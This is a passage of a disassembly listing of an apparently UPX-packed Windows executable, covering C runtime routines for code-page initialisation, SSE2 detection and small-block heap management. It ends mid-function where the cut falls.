		jz	short loc_407EA4
		or	byte ptr [esi+eax+1Dh],	20h
		mov	cl, [ebp+eax+49Ch+var_304]


loc_407E9B:				; CODE XREF: sub_407D8D+FBj
		mov	[esi+eax+11Dh],	cl
		jmp	short loc_407EAC
; ---------------------------------------------------------------------------


loc_407EA4:				; CODE XREF: sub_407D8D+100j
		mov	byte ptr [esi+eax+11Dh], 0


loc_407EAC:				; CODE XREF: sub_407D8D+115j
		inc	eax
		cmp	eax, edi
		jb	short loc_407E72
		jmp	short loc_407F00
; ---------------------------------------------------------------------------


loc_407EB3:				; CODE XREF: sub_407D8D+31j
		lea	eax, [esi+11Dh]
		mov	[ebp+49Ch+var_51C], 0FFFFFF9Fh
		xor	ecx, ecx
		sub	[ebp+49Ch+var_51C], eax


loc_407EC5:				; CODE XREF: sub_407D8D+171j
		mov	edx, [ebp+49Ch+var_51C]
		lea	eax, [esi+ecx+11Dh]
		add	edx, eax
		lea	ebx, [edx+20h]
		cmp	ebx, 19h
		ja	short loc_407EE5
		or	byte ptr [esi+ecx+1Dh],	10h
		mov	dl, cl
		add	dl, 20h
		jmp	short loc_407EF4
; ---------------------------------------------------------------------------


loc_407EE5:				; CODE XREF: sub_407D8D+14Aj
		cmp	edx, 19h
		ja	short loc_407EF8
		or	byte ptr [esi+ecx+1Dh],	20h
		mov	dl, cl
		sub	dl, 20h


loc_407EF4:				; CODE XREF: sub_407D8D+156j
		mov	[eax], dl
		jmp	short loc_407EFB
; ---------------------------------------------------------------------------


loc_407EF8:				; CODE XREF: sub_407D8D+15Bj
		mov	byte ptr [eax],	0


loc_407EFB:				; CODE XREF: sub_407D8D+169j
		inc	ecx
		cmp	ecx, edi
		jb	short loc_407EC5


loc_407F00:				; CODE XREF: sub_407D8D+124j
		mov	ecx, [ebp+49Ch+var_4]
		pop	edi
		xor	ecx, ebp
		pop	ebx
		call	sub_40224A
		add	ebp, 49Ch
		leave
		retn
sub_407D8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407F17	proc near		; CODE XREF: sub_407FBB+57p
					; sub_408290+1Ap

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset dword_40E168
		call	__SEH_prolog4
		call	sub_404927
		mov	edi, eax
		mov	eax, ds:dword_40FC14
		test	[edi+70h], eax
		jz	short loc_407F51
		cmp	dword ptr [edi+6Ch], 0
		jz	short loc_407F51
		mov	esi, [edi+68h]


loc_407F3D:				; CODE XREF: sub_407F17+96j
		test	esi, esi
		jnz	short loc_407F49
		push	20h
		call	sub_405549
		pop	ecx


loc_407F49:				; CODE XREF: sub_407F17+28j
		mov	eax, esi
		call	__SEH_epilog4
		retn
; ---------------------------------------------------------------------------


loc_407F51:				; CODE XREF: sub_407F17+1Bj
					; sub_407F17+21j
		push	0Dh
		call	sub_4079D2
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	esi, [edi+68h]
		mov	[ebp+var_1C], esi
		cmp	esi, ds:off_40F9E0
		jz	short loc_407FA1
		test	esi, esi
		jz	short loc_407F89
		push	esi
		call	dword_40C08C	; InterlockedDecrement
		test	eax, eax
		jnz	short loc_407F89
		cmp	esi, offset dword_40F5B8
		jz	short loc_407F89
		push	esi
		call	sub_404F20
		pop	ecx


loc_407F89:				; CODE XREF: sub_407F17+56j
					; sub_407F17+61j ...
		mov	eax, ds:off_40F9E0
		mov	[edi+68h], eax
		mov	esi, ds:off_40F9E0
		mov	[ebp+var_1C], esi
		push	esi
		call	dword_40C07C	; InterlockedIncrement


loc_407FA1:				; CODE XREF: sub_407F17+52j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_407FB2
		jmp	short loc_407F3D
sub_407F17	endp


; =============== S U B	R O U T	I N E =======================================



sub_407FAF	proc near		; DATA XREF: UPX1:0040E180o
		mov	esi, [ebp-1Ch]
sub_407FAF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_407FB2	proc near		; CODE XREF: sub_407F17+91p
		push	0Dh
		call	sub_4078FA
		pop	ecx
		retn
sub_407FB2	endp


; =============== S U B	R O U T	I N E =======================================



sub_407FBB	proc near		; CODE XREF: sub_40803D+Dp
					; sub_409CCF+Cp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		push	esi
		mov	esi, ecx
		mov	byte ptr [esi+0Ch], 0
		jnz	short loc_40802D
		call	sub_404927
		mov	[esi+8], eax
		mov	ecx, [eax+6Ch]
		mov	[esi], ecx
		mov	ecx, [eax+68h]
		mov	[esi+4], ecx
		mov	ecx, [esi]
		cmp	ecx, ds:off_40F5A8
		jz	short loc_407FF9
		mov	ecx, ds:dword_40FC14
		test	[eax+70h], ecx
		jnz	short loc_407FF9
		call	sub_407C93
		mov	[esi], eax


loc_407FF9:				; CODE XREF: sub_407FBB+2Aj
					; sub_407FBB+35j
		mov	eax, [esi+4]
		cmp	eax, ds:off_40F9E0
		jz	short loc_40801A
		mov	eax, [esi+8]
		mov	ecx, ds:dword_40FC14
		test	[eax+70h], ecx
		jnz	short loc_40801A
		call	sub_407F17
		mov	[esi+4], eax


loc_40801A:				; CODE XREF: sub_407FBB+47j
					; sub_407FBB+55j
		mov	eax, [esi+8]
		test	byte ptr [eax+70h], 2
		jnz	short loc_408037
		or	dword ptr [eax+70h], 2
		mov	byte ptr [esi+0Ch], 1
		jmp	short loc_408037
; ---------------------------------------------------------------------------


loc_40802D:				; CODE XREF: sub_407FBB+Dj
		mov	ecx, [eax]
		mov	[esi], ecx
		mov	eax, [eax+4]
		mov	[esi+4], eax


loc_408037:				; CODE XREF: sub_407FBB+66j
					; sub_407FBB+70j
		mov	eax, esi
		pop	esi
		retn	4
sub_407FBB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40803D	proc near		; CODE XREF: sub_4080B7+19p
					; sub_408290+25p

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		xor	ebx, ebx
		push	ebx
		lea	ecx, [ebp+var_10]
		call	sub_407FBB
		cmp	esi, 0FFFFFFFEh
		mov	ds:dword_410754, ebx
		jnz	short loc_408078
		mov	ds:dword_410754, 1
		call	dword_40C0EC	; GetOEMCP


loc_40806A:				; CODE XREF: sub_40803D+50j
					; sub_40803D+67j
		cmp	[ebp+var_4], bl
		jz	short loc_4080B4
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	short loc_4080B4
; ---------------------------------------------------------------------------


loc_408078:				; CODE XREF: sub_40803D+1Bj
		cmp	esi, 0FFFFFFFDh
		jnz	short loc_40808F
		mov	ds:dword_410754, 1
		call	dword_40C0E8	; GetACP
		jmp	short loc_40806A
; ---------------------------------------------------------------------------


loc_40808F:				; CODE XREF: sub_40803D+3Ej
		cmp	esi, 0FFFFFFFCh
		jnz	short loc_4080A6
		mov	eax, [ebp+var_10]
		mov	eax, [eax+4]
		mov	ds:dword_410754, 1
		jmp	short loc_40806A
; ---------------------------------------------------------------------------


loc_4080A6:				; CODE XREF: sub_40803D+55j
		cmp	[ebp+var_4], bl
		jz	short loc_4080B2
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_4080B2:				; CODE XREF: sub_40803D+6Cj
		mov	eax, esi


loc_4080B4:				; CODE XREF: sub_40803D+30j
					; sub_40803D+39j
		pop	ebx
		leave
		retn
sub_40803D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4080B7	proc near		; CODE XREF: sub_408290+5Ep

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, ds:dword_40F060
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		call	sub_40803D
		mov	edi, eax
		xor	esi, esi
		cmp	edi, esi
		mov	[ebp+arg_0], edi
		jnz	short loc_4080EE


loc_4080E0:				; CODE XREF: sub_4080B7+1C1j
		mov	eax, ebx
		call	sub_407D38


loc_4080E7:				; CODE XREF: sub_4080B7+174j
		xor	eax, eax
		jmp	loc_408281
; ---------------------------------------------------------------------------


loc_4080EE:				; CODE XREF: sub_4080B7+27j
		mov	[ebp+var_1C], esi
		xor	eax, eax


loc_4080F3:				; CODE XREF: sub_4080B7+53j
		cmp	ds:dword_40F9E8[eax], edi
		jz	loc_408190
		inc	[ebp+var_1C]
		add	eax, 30h
		cmp	eax, 0F0h
		jb	short loc_4080F3
		cmp	edi, 0FDE8h
		jz	loc_40827E
		cmp	edi, 0FDE9h
		jz	loc_40827E
		movzx	eax, di
		push	eax
		call	dword_40C0F0	; IsValidCodePage
		test	eax, eax
		jz	loc_40827E
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		call	dword_40C0E4	; GetCPInfo
		test	eax, eax
		jz	loc_408272
		push	101h
		lea	eax, [ebx+1Ch]
		push	esi
		push	eax
		call	sub_4021D0
		xor	edx, edx
		inc	edx
		add	esp, 0Ch
		cmp	[ebp+var_18], edx
		mov	[ebx+4], edi
		mov	[ebx+0Ch], esi
		jbe	loc_408265
		cmp	[ebp+var_12], 0
		jz	loc_408246
		lea	esi, [ebp+var_11]


loc_40817A:				; CODE XREF: sub_4080B7+189j
		mov	cl, [esi]
		test	cl, cl
		jz	loc_408246
		movzx	eax, byte ptr [esi-1]
		movzx	ecx, cl
		jmp	loc_408236
; ---------------------------------------------------------------------------


loc_408190:				; CODE XREF: sub_4080B7+42j
		push	101h
		lea	eax, [ebx+1Ch]
		push	esi
		push	eax
		call	sub_4021D0
		mov	ecx, [ebp+var_1C]
		add	esp, 0Ch
		imul	ecx, 30h
		mov	[ebp+var_20], esi
		lea	esi, dword_40F9F8[ecx]
		mov	[ebp+var_1C], esi
		jmp	short loc_4081E0
; ---------------------------------------------------------------------------


loc_4081B6:				; CODE XREF: sub_4080B7+12Cj
		mov	al, [esi+1]
		test	al, al
		jz	short loc_4081E5
		movzx	edi, byte ptr [esi]
		movzx	eax, al
		jmp	short loc_4081D7
; ---------------------------------------------------------------------------


loc_4081C5:				; CODE XREF: sub_4080B7+122j
		mov	eax, [ebp+var_20]
		mov	al, ds:byte_40F9E4[eax]
		or	[ebx+edi+1Dh], al
		movzx	eax, byte ptr [esi+1]
		inc	edi


loc_4081D7:				; CODE XREF: sub_4080B7+10Cj
		cmp	edi, eax
		jbe	short loc_4081C5
		mov	edi, [ebp+arg_0]
		inc	esi
		inc	esi


loc_4081E0:				; CODE XREF: sub_4080B7+FDj
					; sub_4080B7+13Ej
		cmp	byte ptr [esi],	0
		jnz	short loc_4081B6


loc_4081E5:				; CODE XREF: sub_4080B7+104j
		mov	esi, [ebp+var_1C]
		inc	[ebp+var_20]
		add	esi, 8
		cmp	[ebp+var_20], 4
		mov	[ebp+var_1C], esi
		jb	short loc_4081E0
		mov	eax, edi
		mov	[ebx+4], edi
		mov	dword ptr [ebx+8], 1
		call	sub_407D09
		push	6
		mov	[ebx+0Ch], eax
		lea	eax, [ebx+10h]
		lea	ecx, dword_40F9EC[ecx]
		pop	edx


loc_408217:				; CODE XREF: sub_4080B7+16Bj
		mov	si, [ecx]
		inc	ecx
		mov	[eax], si
		inc	ecx
		inc	eax
		inc	eax
		dec	edx
		jnz	short loc_408217


loc_408224:				; CODE XREF: sub_4080B7+1B9j
		mov	esi, ebx
		call	sub_407D8D
		jmp	loc_4080E7
; ---------------------------------------------------------------------------


loc_408230:				; CODE XREF: sub_4080B7+181j
		or	byte ptr [ebx+eax+1Dh],	4
		inc	eax


loc_408236:				; CODE XREF: sub_4080B7+D4j
		cmp	eax, ecx
		jbe	short loc_408230
		inc	esi
		inc	esi
		cmp	byte ptr [esi-1], 0
		jnz	loc_40817A


loc_408246:				; CODE XREF: sub_4080B7+BAj
					; sub_4080B7+C7j
		lea	eax, [ebx+1Eh]
		mov	ecx, 0FEh


loc_40824E:				; CODE XREF: sub_4080B7+19Cj
		or	byte ptr [eax],	8
		inc	eax
		dec	ecx
		jnz	short loc_40824E
		mov	eax, [ebx+4]
		call	sub_407D09
		mov	[ebx+0Ch], eax
		mov	[ebx+8], edx
		jmp	short loc_408268
; ---------------------------------------------------------------------------


loc_408265:				; CODE XREF: sub_4080B7+B0j
		mov	[ebx+8], esi


loc_408268:				; CODE XREF: sub_4080B7+1ACj
		xor	eax, eax
		lea	edi, [ebx+10h]
		stosd
		stosd
		stosd
		jmp	short loc_408224
; ---------------------------------------------------------------------------


loc_408272:				; CODE XREF: sub_4080B7+8Cj
		cmp	ds:dword_410754, esi
		jnz	loc_4080E0


loc_40827E:				; CODE XREF: sub_4080B7+5Bj
					; sub_4080B7+67j ...
		or	eax, 0FFFFFFFFh


loc_408281:				; CODE XREF: sub_4080B7+32j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40224A
		leave
		retn
sub_4080B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408290	proc near		; CODE XREF: sub_40842A+Bp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 004083FC SIZE 0000002E BYTES

		push	14h
		push	offset dword_40E188
		call	__SEH_prolog4
		or	[ebp+var_20], 0FFFFFFFFh
		call	sub_404927
		mov	edi, eax
		mov	[ebp+var_24], edi
		call	sub_407F17
		mov	ebx, [edi+68h]
		mov	esi, [ebp+arg_0]
		call	sub_40803D
		mov	[ebp+arg_0], eax
		cmp	eax, [ebx+4]
		jz	loc_40841D
		push	220h
		call	sub_4053D3
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_408421
		mov	ecx, 88h
		mov	esi, [edi+68h]
		mov	edi, ebx
		rep movsd
		and	dword ptr [ebx], 0
		push	ebx
		push	[ebp+arg_0]
		call	sub_4080B7
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		test	eax, eax
		jnz	loc_4083FC
		mov	esi, [ebp+var_24]
		push	dword ptr [esi+68h]
		call	dword_40C08C	; InterlockedDecrement
		test	eax, eax
		jnz	short loc_408321
		mov	eax, [esi+68h]
		cmp	eax, offset dword_40F5B8
		jz	short loc_408321
		push	eax
		call	sub_404F20
		pop	ecx


loc_408321:				; CODE XREF: sub_408290+7Ej
					; sub_408290+88j
		mov	[esi+68h], ebx
		push	ebx
		mov	edi, dword_40C07C
		call	edi ; dword_40C07C
		test	byte ptr [esi+70h], 2
		jnz	loc_408421
		test	byte ptr ds:dword_40FC14, 1
		jnz	loc_408421
		push	0Dh
		call	sub_4079D2
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [ebx+4]
		mov	ds:dword_410764, eax
		mov	eax, [ebx+8]
		mov	ds:dword_410768, eax
		mov	eax, [ebx+0Ch]
		mov	ds:dword_41076C, eax
		xor	eax, eax


loc_40836A:				; CODE XREF: sub_408290+F0j
		mov	[ebp+var_1C], eax
		cmp	eax, 5
		jge	short loc_408382
		mov	cx, [ebx+eax*2+10h]
		mov	ds:word_410758[eax*2], cx
		inc	eax
		jmp	short loc_40836A
; ---------------------------------------------------------------------------


loc_408382:				; CODE XREF: sub_408290+E0j
		xor	eax, eax


loc_408384:				; CODE XREF: sub_408290+109j
		mov	[ebp+var_1C], eax
		cmp	eax, 101h
		jge	short loc_40839B
		mov	cl, [eax+ebx+1Ch]
		mov	ds:byte_40F7D8[eax], cl
		inc	eax
		jmp	short loc_408384
; ---------------------------------------------------------------------------


loc_40839B:				; CODE XREF: sub_408290+FCj
		xor	eax, eax


loc_40839D:				; CODE XREF: sub_408290+125j
		mov	[ebp+var_1C], eax
		cmp	eax, 100h
		jge	short loc_4083B7
		mov	cl, [eax+ebx+11Dh]
		mov	ds:byte_40F8E0[eax], cl
		inc	eax
		jmp	short loc_40839D
; ---------------------------------------------------------------------------


loc_4083B7:				; CODE XREF: sub_408290+115j
		push	ds:off_40F9E0
		call	dword_40C08C	; InterlockedDecrement
		test	eax, eax
		jnz	short loc_4083DA
		mov	eax, ds:off_40F9E0
		cmp	eax, offset dword_40F5B8
		jz	short loc_4083DA
		push	eax
		call	sub_404F20
		pop	ecx


loc_4083DA:				; CODE XREF: sub_408290+135j
					; sub_408290+141j
		mov	ds:off_40F9E0, ebx
		push	ebx
		call	edi ; dword_40C07C
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_4083F1
		jmp	short loc_408421
sub_408290	endp


; =============== S U B	R O U T	I N E =======================================



sub_4083F1	proc near		; CODE XREF: sub_408290+15Ap
					; DATA XREF: UPX1:0040E1A0o
		push	0Dh
		call	sub_4078FA
		pop	ecx
		retn
sub_4083F1	endp

; ---------------------------------------------------------------------------
		jmp	short loc_408421
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408290


loc_4083FC:				; CODE XREF: sub_408290+6Aj
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_408421
		cmp	ebx, offset dword_40F5B8
		jz	short loc_408410
		push	ebx
		call	sub_404F20
		pop	ecx


loc_408410:				; CODE XREF: sub_408290+177j
		call	sub_4053C0
		mov	dword ptr [eax], 16h
		jmp	short loc_408421
; ---------------------------------------------------------------------------


loc_40841D:				; CODE XREF: sub_408290+30j
		and	[ebp+var_20], 0


loc_408421:				; CODE XREF: sub_408290+45j
					; sub_408290+A1j ...
		mov	eax, [ebp+var_20]
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_408290

; =============== S U B	R O U T	I N E =======================================



sub_40842A	proc near		; CODE XREF: sub_40625A+Cp
					; sub_4062B7+Dp ...
		cmp	ds:dword_410A0C, 0
		jnz	short loc_408445
		push	0FFFFFFFDh
		call	sub_408290
		pop	ecx
		mov	ds:dword_410A0C, 1


loc_408445:				; CODE XREF: sub_40842A+7j
		xor	eax, eax
		retn
sub_40842A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408448	proc near		; CODE XREF: sub_408498+4Dp

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset dword_40E1A8
		call	__SEH_prolog4
		and	[ebp+ms_exc.disabled], 0
		movapd	xmm0, xmm1
		mov	[ebp+var_1C], 1
		jmp	short loc_408488
; ---------------------------------------------------------------------------
		mov	eax, [ebp+ms_exc.exc_ptr]
		mov	eax, [eax]
		mov	eax, [eax]
		cmp	eax, 0C0000005h
		jz	short loc_40847D
		cmp	eax, 0C000001Dh
		jz	short loc_40847D
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40847D:				; CODE XREF: sub_408448+29j
					; sub_408448+30j
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		and	[ebp+var_1C], 0


loc_408488:				; CODE XREF: sub_408448+1Bj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog4
		retn
sub_408448	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408498	proc near		; CODE XREF: sub_404CCA+7p sub_4084F8p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		xor	eax, eax
		push	ebx
		mov	[ebp+var_4], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		push	ebx
		pushf
		pop	eax
		mov	ecx, eax
		xor	eax, 200000h
		push	eax
		popf
		pushf
		pop	edx
		sub	edx, ecx
		jz	short loc_4084DB
		push	ecx
		popf
		xor	eax, eax
		cpuid
		mov	[ebp+var_C], eax
		mov	[ebp+var_18], ebx
		mov	[ebp+var_14], edx
		mov	[ebp+var_10], ecx
		mov	eax, 1
		cpuid
		mov	[ebp+var_4], edx
		mov	[ebp+var_8], eax


loc_4084DB:				; CODE XREF: sub_408498+22j
		pop	ebx
		test	[ebp+var_4], 4000000h
		jz	short loc_4084F3
		call	sub_408448
		test	eax, eax
		jz	short loc_4084F3
		xor	eax, eax
		inc	eax
		jmp	short loc_4084F5
; ---------------------------------------------------------------------------


loc_4084F3:				; CODE XREF: sub_408498+4Bj
					; sub_408498+54j
		xor	eax, eax


loc_4084F5:				; CODE XREF: sub_408498+59j
		pop	ebx
		leave
		retn
sub_408498	endp


; =============== S U B	R O U T	I N E =======================================



sub_4084F8	proc near		; DATA XREF: UPX0:0040C150o
		call	sub_408498
		mov	ds:dword_410A1C, eax
		xor	eax, eax
		retn
sub_4084F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_408505	proc near		; CODE XREF: sub_4069FB+37p

arg_0		= dword	ptr  4

		push	140h
		push	0
		push	ds:dword_4105D4
		call	dword_40C050	; RtlAllocateHeap
		test	eax, eax
		mov	ds:dword_4108D0, eax
		jnz	short loc_408522
		retn
; ---------------------------------------------------------------------------


loc_408522:				; CODE XREF: sub_408505+1Aj
		mov	ecx, [esp+arg_0]
		and	ds:dword_410770, 0
		and	ds:dword_4108CC, 0
		mov	ds:dword_4108D8, eax
		xor	eax, eax
		mov	ds:dword_4108D4, ecx
		mov	ds:dword_4108DC, 10h
		inc	eax
		retn
sub_408505	endp


; =============== S U B	R O U T	I N E =======================================



sub_40854D	proc near		; CODE XREF: sub_404F20+29p
					; sub_4054A6+4Ep ...

arg_0		= dword	ptr  4

		mov	ecx, ds:dword_4108CC
		mov	eax, ds:dword_4108D0
		imul	ecx, 14h
		add	ecx, eax
		jmp	short loc_408571
; ---------------------------------------------------------------------------


loc_40855F:				; CODE XREF: sub_40854D+26j
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_408577
		add	eax, 14h


loc_408571:				; CODE XREF: sub_40854D+10j
		cmp	eax, ecx
		jb	short loc_40855F
		xor	eax, eax

locret_408577:				; CODE XREF: sub_40854D+1Fj
		retn
sub_40854D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408578	proc near		; CODE XREF: sub_404F20+38p
					; sub_40928C+B5p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+10h]
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	edi, esi
		sub	edi, [ecx+0Ch]
		add	esi, 0FFFFFFFCh
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_408888
		push	ebx
		lea	ebx, [ecx+esi]
		mov	edx, [ebx]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_408643
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_4085DB
		push	3Fh
		pop	edx


loc_4085DB:				; CODE XREF: sub_408578+5Ej
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_408625
		cmp	edx, 20h
		mov	ebx, 80000000h
		jnb	short loc_408606
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_408622
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_408622
; ---------------------------------------------------------------------------


loc_408606:				; CODE XREF: sub_408578+73j
		lea	ecx, [edx-20h]
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_408622
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_408622:				; CODE XREF: sub_408578+85j
					; sub_408578+8Cj ...
		mov	ebx, [ebp+arg_4]


loc_408625:				; CODE XREF: sub_408578+69j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx
		mov	[ebp+var_4], ecx


loc_408643:				; CODE XREF: sub_408578+55j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_408651
		push	3Fh
		pop	edx


loc_408651:				; CODE XREF: sub_408578+D4j
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_4086EF
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_408676
		mov	ebx, esi


loc_408676:				; CODE XREF: sub_408578+FAj
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		mov	[ebp+var_4], ecx
		jbe	short loc_408688
		mov	edx, esi


loc_408688:				; CODE XREF: sub_408578+10Cj
		cmp	ebx, edx
		jz	short loc_4086EA
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_4086D2
		cmp	ebx, 20h
		mov	esi, 80000000h
		jnb	short loc_4086B8
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_4086D2
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_4086D2
; ---------------------------------------------------------------------------


loc_4086B8:				; CODE XREF: sub_408578+127j
		lea	ecx, [ebx-20h]
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_4086D2
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_4086D2:				; CODE XREF: sub_408578+11Dj
					; sub_408578+137j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_4086EA:				; CODE XREF: sub_408578+112j
		mov	esi, [ebp+arg_4]
		jmp	short loc_4086F2
; ---------------------------------------------------------------------------


loc_4086EF:				; CODE XREF: sub_408578+E2j
		mov	ebx, [ebp+arg_0]


loc_4086F2:				; CODE XREF: sub_408578+175j
		cmp	[ebp+var_C], 0
		jnz	short loc_408700
		cmp	ebx, edx
		jz	loc_408780


loc_408700:				; CODE XREF: sub_408578+17Ej
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edx*8]
		mov	ebx, [ecx+4]
		mov	[esi+8], ecx
		mov	[esi+4], ebx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_408780
		mov	cl, [edx+eax+4]
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		cmp	edx, 20h
		mov	[edx+eax+4], cl
		jnb	short loc_408757
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_408746
		mov	ecx, edx
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_408746:				; CODE XREF: sub_408578+1BEj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_408780
; ---------------------------------------------------------------------------


loc_408757:				; CODE XREF: sub_408578+1B8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_40876D
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_40876D:				; CODE XREF: sub_408578+1E3j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_408780:				; CODE XREF: sub_408578+182j
					; sub_408578+1A6j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_408887
		mov	eax, ds:dword_410770
		test	eax, eax
		jz	loc_408879
		mov	ecx, ds:dword_4108E0
		mov	esi, dword_40C0C8
		push	4000h
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	ebx
		push	ecx
		call	esi ; dword_40C0C8
		mov	ecx, ds:dword_4108E0
		mov	eax, ds:dword_410770
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, ds:dword_410770
